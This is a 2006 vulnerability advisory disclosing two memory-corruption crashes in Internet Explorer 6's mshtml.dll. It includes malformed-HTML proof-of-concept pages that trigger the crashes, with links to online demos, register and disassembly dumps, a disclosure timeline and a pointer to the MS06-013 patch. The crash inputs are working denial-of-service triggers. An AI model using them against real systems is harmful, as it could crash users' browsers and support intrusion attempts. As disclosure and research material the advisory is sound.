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| BuHa Security-Advisory #13    |    May 25th, 2006 |

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| Vendor   | MS Internet Explorer 6.0               |

| URL      | http://www.microsoft.com/windows/ie/   |

| Version  | <= 6.0.2900.2180.xpsp_sp2              |

| Risk     | Critical (Memory Corruption)           |

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The Microsoft Security Response Center rated following issues as

critical because, on the face of it, they could produce an exploitable

memory corruption (see HTML Tag Memory Corruption Vulnerability -

CVE-2006-1188 [1]) with a variant of my PoC.


o Description:

=============


Internet Explorer, abbreviated IE or MSIE, is a proprietary web browser

made by Microsoft and currently available as part of Microsoft Windows.


Visit http://www.microsoft.com/windows/ie/default.mspx or

http://en.wikipedia.org/wiki/Internet_Explorer for detailed information.


o Memory Corruption Vulnerability: <mshtml.dll>#7d519030

=================================


Following HTML code forces IE 6 to crash:

> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

>      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>

> <html>  <fieldset>    <h4>

> <pre><td>

> <menu>

> <legend>

> <a>

> <ul>

> <small>

> <fieldset>

> <h6>

> </h6

> </u>

> </optgroup>

> </tr>

> </map>

> </ul

> </dfn>

>

> </del>

> </h2>

> </dir>

> </ul>


Online-demo:

http://morph3us.org/security/pen-testing/msie/ie60-1135035582812-7d519030.html


These are the register values and the ASM dump at the time of the access

violation:

> eax=00000000 ebx=0012e88c ecx=00000000 edx=0012e7c0 esi=00000000

> edi=00000004 eip=7d519030 esp=0012e780 ebp=0012e894

>

>         7d519012 55               push    ebp

>         7d519013 8bec             mov     ebp,esp

>         7d519015 8b4104           mov     eax,[ecx+0x4]

>         7d519018 394508           cmp     [ebp+0x8],eax

>         7d51901b 7c09             jl      mshtml+0x69026 (7d519026)

>         7d51901d 7edc             jle     mshtml+0x68ffb (7d518ffb)

>         7d51901f 33c0             xor     eax,eax

>         7d519021 40               inc     eax

>         7d519022 5d               pop     ebp

>         7d519023 c20800           ret     0x8

>         7d519026 83c8ff           or      eax,0xffffffff

>         7d519029 ebf7             jmp     mshtml+0x69022 (7d519022)

>         7d51902b 90               nop

>         7d51902c 90               nop

>         7d51902d 90               nop

>         7d51902e 90               nop

>         7d51902f 90               nop

> FAULT ->7d519030 8b4108           mov     eax,[ecx+0x8]

>                                           ds:0023:00000008=????????

>         7d519033 85c0             test    eax,eax

>         7d519035 7425             jz      mshtml+0x6905c (7d51905c)

>         7d519037 8b10             mov     edx,[eax]

>         7d519039 f6c210           test    dl,0x10

>         7d51903c 7408             jz      mshtml+0x69046 (7d519046)

>         7d51903e f6c220           test    dl,0x20

>         7d519041 7519             jnz     mshtml+0x6905c (7d51905c)

>         7d519043 8b400c           mov     eax,[eax+0xc]

>         7d519046 8b4808           mov     ecx,[eax+0x8]

>         7d519049 85c9             test    ecx,ecx


o Memory Corruption Vulnerability: <mshtml.dll>#7d529d35

=================================


Following HTML code forces IE 6 to crash:

> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

> "http://www.w3.org/TR/html4/loose.dtd";>

> <bdo>

>     </span>

> <pre>

>

> <param>

> <form>

> <colgroup>

> <small>

> </small>

> </colgroup>

> </map>

> </button>

> </code

>

> <blockquote>

> <th>

> <small>

>

> </tbody>

> </tr>

> </ol>

> </tbody>

> </ol>

> </code>

> </strong>

>

>

> <head>

> <fieldset>

> <style>

>

> </style

> </dir>

> </a>

> </td

> </li>

> </label

> </object>

> </bdo

> </th

> </object

> </q>

>

> <ol>

> <object>


Online-demo:

http://morph3us.org/security/pen-testing/msie/ie60-1135042070015-7d529d35.html


These are the register values and the ASM dump at the time of the access

violation:

> eax=00000000 ebx=0012e88c ecx=00000000 edx=00000012 esi=00e7dbb0

> edi=00000002 eip=7d529d35 esp=0012e778 ebp=0012e778

>

>         7d529d0e e811170000       call    mshtml+0x7b424 (7d52b424)

>         7d529d13 85c0             test    eax,eax

>         7d529d15 0f85c5500800     jne     mshtml!DllGetClassObject+0x10fa2

>                                           (7d5aede0)

>         7d529d1b 0fb65508         movzx   edx,byte ptr [ebp+0x8]

>         7d529d1f 8d849680000000   lea     eax,[esi+edx*4+0x80]

>         7d529d26 5e               pop     esi

>         7d529d27 5d               pop     ebp

>         7d529d28 c20c00           ret     0xc

>         7d529d2b 90               nop

>         7d529d2c 90               nop

>         7d529d2d 90               nop

>         7d529d2e 90               nop

>         7d529d2f 90               nop

>         7d529d30 8bff             mov     edi,edi

>         7d529d32 55               push    ebp

>         7d529d33 8bec             mov     ebp,esp

> FAULT ->7d529d35 0fbe4114         movsx   eax,byte ptr [ecx+0x14]

>                                           ds:0023:00000014=??

>         7d529d39 c1e004           shl     eax,0x4

>         7d529d3c 0578aa4b7d       add     eax,0x7d4baa78

>         7d529d41 7410             jz      mshtml+0x79d53 (7d529d53)

>         7d529d43 8b400c           mov     eax,[eax+0xc]

>         7d529d46 234508           and     eax,[ebp+0x8]

>         7d529d49 f7d8             neg     eax

>         7d529d4b 1bc0             sbb     eax,eax

>         7d529d4d f7d8             neg     eax

>         7d529d4f 5d               pop     ebp

>         7d529d50 c20400           ret     0x4

>         7d529d53 33c0             xor     eax,eax

>         7d529d55 ebf8             jmp     mshtml+0x79d4f (7d529d4f)


o Vulnerable versions:

=====================


The DoS vulnerability was successfully tested on:

> MS IE 6 SP2 - Win XP Pro SP2

> MS IE 6     - Win 2k SP4


o Disclosure Timeline:

=====================


xx Feb 06 - Vulnerabilities discovered.

08 Mar 06 - Vendor contacted.

22 Mar 06 - Vendor confirmed vulnerabilities.

25 May 06 - Public release.


o Solution:

==========


Install the latest security update (MS06-013) for Internet Explorer [2].


o Credits:

=========


Thomas Waldegger <[EMAIL PROTECTED]>

BuHa-Security Community - http://buha.info/board/


If you have questions, suggestions or criticism about the advisory feel

free to send me a mail. The address '[EMAIL PROTECTED]' is more a

spam address than a regular mail address therefore it's possible that

some mails get ignored. Please use the contact details at

http://morph3us.org/ to contact me.


Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all

members of BuHa.


Advisory online: http://morph3us.org/advisories/20060525-msie6-sp2-2.txt


[1] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1188

[2] http://www.microsoft.com/technet/security/Bulletin/MS06-013.mspx


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